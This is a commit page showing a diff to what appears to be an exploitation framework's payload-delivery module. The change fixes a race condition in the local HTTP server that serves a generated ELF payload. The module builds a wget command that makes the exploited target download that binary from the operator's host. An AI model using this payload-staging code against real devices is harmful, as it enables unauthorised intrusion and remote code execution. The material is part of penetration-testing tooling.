Unverified Commit 9944047e by Marcin Bury Committed by GitHub

Fixing race condition - HTTP Server (#437)

parent f538af1d
......@@ -131,6 +131,7 @@ def shell(exploit, architecture="", method="", payloads=None, **params):
elf_binary = payload.generate_elf(data)
communication = Communication(exploit, elf_binary, options, **params)
if communication.wget() is False:
print_error("Exploit failed to transfer payload")
continue
elif method == "echo":
......@@ -223,19 +224,16 @@ class Communication(object):
binary = "wget"
# run http server
self.mutex = True
all_interfaces = "0.0.0.0"
thread = threading.Thread(target=self.http_server, args=(all_interfaces, self.options["lport"]))
thread.start()
while self.mutex:
pass
if self.port_used:
try:
server = HttpServer((all_interfaces, int(self.options["lport"])), HttpRequestHandler)
except socket.error:
print_error("Could not set up HTTP Server on {}:{}".format(self.options["lhost"], self.options["lport"]))
return False
thread = threading.Thread(target=server.serve_forever, args=(self.payload,))
thread.start()
# wget binary
print_status("Using wget to download binary")
cmd = "{} http://{}:{}/{} -qO {}/{}".format(binary,
......@@ -246,6 +244,14 @@ class Communication(object):
self.binary_name)
self.exploit.execute(cmd)
thread.join(10)
if thread.is_alive():
assassin = threading.Thread(target=server.shutdown)
assassin.daemon = True
assassin.start()
return False
return True
def echo(self):
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment